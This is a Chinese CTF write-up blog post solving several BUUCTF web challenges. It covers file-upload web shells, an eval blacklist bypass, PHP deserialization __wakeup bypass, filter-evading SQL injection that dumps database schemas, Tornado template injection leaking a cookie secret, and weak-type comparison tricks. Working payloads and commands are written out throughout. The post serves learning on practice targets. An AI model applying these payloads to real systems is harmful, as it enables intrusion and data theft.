BUUCTF web(二)

[极客大挑战 2019]Upload

upload想到了文件上传漏洞,先传个一句话木马试试,php和图片马都不行
在这里插入图片描述
试一下phtml,phtml一般是指嵌入了php代码的html文件,但是同样也会作为php解析

也不行,抓包改一下Content-Type
在这里插入图片描述
不让用<?,那就换一种

在这里插入图片描述
。。。。

再加个文件头

GIF89a

OK了,猜测路径应该在/upload里面

蚁剑连上找到根目录下的flag
在这里插入图片描述

[RoarCTF 2019]Easy Calc

源码发现

<?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}
?>

是可以绕过的
在这里插入图片描述
在这里插入图片描述
在这里说一下,这个空格让waf找不到变量但是php解析的时候可以找到

扫根目录下的所有文件,使用scandir("/"),但是“/”被过滤了,所以我们用chr(“47”)绕过

payload:?%20num=var_dump(scandir(chr(47)))
在这里插入图片描述
然后读flag

payload:?%20num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))

chr(47).chr(102).chr(49).chr(97).chr(103).chr(103) = 》 /f1agg

[ACTF2020 新生赛]Upload

f12把前端检查删掉然后直接传phtml,然后蚁剑连
在这里插入图片描述

[极客大挑战 2019]PHP

dirsearch扫

./dirsearch.py -u http://887b5639-b212-41c1-92e1-ede64684467d.node4.buuoj.cn:81/ -e php

在这里插入图片描述
打开之后看看index.php
在这里插入图片描述
在class.php中会以get方式接受变量select,并且反序列化这个叫select的字符串

再来看看class.php里

<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>

只有当username=admin且password=100才会输出flag,但是要想办法绕过wakeup函数,否则会把username赋值成guest

那么首先赋值并序列化看看

$a = new Name('admin', 100);
echo serialize($a)

O:4:“Name”:2:{s:14:“Nameusername”;s:5:“admin”;s:14:“Namepassword”;i:100;}

当属性个数大于实际时wakeup会被绕过,那么改成

O:4:“Name”:3:{s:14:“Nameusername”;s:5:“admin”;s:14:“Namepassword”;i:100;}

但是注意到变量是private类型的,所以要加上 %00(url编码过后的,实际上是0x00,echo输出碰见是空就过去了,我们要手动加上)

O:4:“Name”:3:{s:14:"%00Name%00username";s:5:“admin”;s:14:"%00Name%00password";i:100;}

payload:?select=O:4:“Name”:3:{s:14:"%00Name%00username";s:5:“admin”;s:14:"%00Name%00password";i:100;}

拿来吧你!
在这里插入图片描述

BUUCTF-[极客大挑战 2019]BabySQL

过滤了是吧,看看你都过滤啥了

?username=admin&password=1+%27+union+select+1+%23
在这里插入图片描述
就给我剩个1 #,union和select都被过滤了是吧

双写试试(replace查到过滤的字符串然后替换为空【我猜的】)

1 ’ uniunionon selselectect 1 #
在这里插入图片描述
绕过了,但是列数不对

试到3的时候对了

在这里插入图片描述
开始整活儿,看看数据库版本

1 ’ uniunionon selselectect 1,version(),@@version_compile_os#
在这里插入图片描述继续

1 ’ uniunionon selselectect 1,database(),user()#

在这里插入图片描述
当前库为geek,爆一下所有库

1’ ununionion seselectlect 1,2,group_concat(schema_name)frfromom (infoorrmation_schema.schemata) # 
在这里插入图片描述这么多库,先看看ctf里面

爆表名

1’ ununionion seselectlect 1,group_concat(table_name),table_name frfromom infoorrmation_schema.tables whewherere table_schema=‘geek’#
在这里插入图片描述
爆列名

1’ ununionion seselectlect 1,2, group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name=‘b4bsql’#
在这里插入图片描述
后面跟lovesql很像了
1’ ununionion seselectlect 1,database(),group_concat(id,username,passwoorrd) frofromm b4bsql#
拿来吧你!

在这里插入图片描述

[ACTF2020 新生赛]BackupFile

./dirsearch.py -u http://f17406d8-e02f-4041-b7d0-61291ea70c7f.node4.buuoj.cn:81/ -e php

扫出来index.php.bak,下载到本地看看源码

<?php
include_once "flag.php";

if(isset($_GET['key'])) {
    $key = $_GET['key'];
    if(!is_numeric($key)) {
        exit("Just num!");
    }
    $key = intval($key);
    $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
    if($key == $str) {
        echo $flag;
    }
}
else {
    echo "Try to find out source file!";
}


get一个变量key,如果不是数字或数字字符串就exit,然后返回变量的整数值,如果key==str就输出flag

传123就好(注意是==)
在这里插入图片描述

[护网杯 2018]easy_tornado

在这里插入图片描述
三个链接的内容:

flag in /fllllllllllllag
render
md5(cookie_secret+md5(filename))

render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页 render配合Tornado使用。

Tornado是一种 Web 服务器软件的开源版本。Tornado 和现在的主流 Web 服务器框架(包括大多数 Python 的框架)有着明显的区别:它是非阻塞式服务器,而且速度相当快。

在tornado模板中,存在一些可以访问的快速对象,这里用到的是handler.settings,handler 指向RequestHandler,而RequestHandler.settings又指向self.application.settings,所以handler.settings就指向

RequestHandler.application.settings了,这里面就是我们的一些环境变量

payload:error?msg={{handler.settings}}

‘cookie_secret’: ‘2785c1f6-7f9e-43f7-a518-c414b3f67235’

/fllllllllllllag md5加密后 3bf9f6cf685a6dd8defadabfb41a03a1

手动加密或者写脚本加密:

e0006bc385616ba60beedca48edce680

拿来吧你(我flllllllllag带着.txt试了半天对不起我是傻子orz)

模板注入。。嗯。。学到了
在这里插入图片描述# [极客大挑战 2019]BuyFlag

管我要好多钱还有正确的password
在这里插入图片描述
看了看源码
在这里插入图片描述
弱类型比较嘛,post一个password=404a试试

在这里插入图片描述
hackbar没反应。。。抓包吧
在这里插入图片描述
嘶。。。。
在这里插入图片描述
user改成1试一下
在这里插入图片描述果然那个user是判断我是不是那个学校学生的

让我付钱。。。再加一个money=100000000试试

在这里插入图片描述
太长0.0,科学计数法试试
在这里插入图片描述
拿来吧你

看了别的师傅的方法还能利用strcmp函数特性绕过,用money[]=1000000000,不过好像只适用于5.3之前的php

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值